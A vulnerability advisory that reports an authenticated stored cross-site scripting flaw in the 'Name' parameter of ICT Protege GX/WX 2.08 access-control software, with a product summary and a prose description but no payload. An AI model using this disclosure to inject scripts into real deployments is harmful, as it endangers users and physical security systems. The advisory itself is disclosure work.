Title: ICT Protege GX/WX 2.08 Authenticated Stored XSS Vulnerability
Advisory ID: ZSL-2022-5699
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 21.03.2022

Summary

Protege GX is an enterprise level integrated access control, intrusion detection and building automation solution with a feature set that is easy to operate, simple to integrate and effortless to extend. Protege WX is an all-in-one, web-based, cross-platform system that gives you a fully functional access control and intrusion detection solution in a fraction of the time of conventional software. With no software to install, setup is quick and simple. Connect the Controller and system components, then open a web browser to launch the intuitive wizard-driven interface which guides you through the process of configuring your system.

Description

The application suffers from an authenticated stored XSS vulnerability. The issue is triggered when input passed to the ‘Name’ parameter is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.
